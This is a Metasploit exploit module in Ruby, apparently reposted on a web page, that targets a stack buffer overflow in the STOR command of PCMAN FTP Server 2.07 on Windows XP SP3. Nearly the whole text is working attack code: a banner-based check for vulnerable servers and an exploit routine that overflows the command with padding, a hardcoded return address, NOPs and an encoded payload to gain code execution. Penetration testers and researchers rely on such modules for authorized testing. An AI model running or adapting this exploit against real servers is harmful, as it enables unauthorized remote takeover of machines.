|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the STOR command of the
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
note authentication is required in order to trigger the vulnerability. The overflowing
string will also be seen on the FTP server log console.
},
'Author' =>
[
'Christian (Polunchis) Ramirez',
'Rick (nanotechz9l) Flores'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94624'],
[ 'EDB', '27703']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'VERBOSE' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459,
'Offset' => 2011
}
],
],
'DisclosureDate' => 'Jun 27 2013',
'DefaultTarget' => 0))
end
def check
c = connect_login
disconnect
if c and banner =~ /220 PCMan's FTP Server 2\.0/
print_status("Able to authenticate, and banner shows the vulnerable version")
return Exploit::CheckCode::Vulnerable
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
print_status("Unable to authenticate, but banner shows the vulnerable version")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
c = connect_login
return unless c
user_length = datastore['FTPUSER'].to_s.length
print_status("Trying victim #{target.name}...")
sploit = rand_text_alpha(target['Offset'] - user_length)
sploit << [target.ret].pack('V')
sploit << make_nops(4)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)
send_cmd( ["STOR", "/../" + sploit], false )
disconnect
end
end
|
推荐
评论(0条)
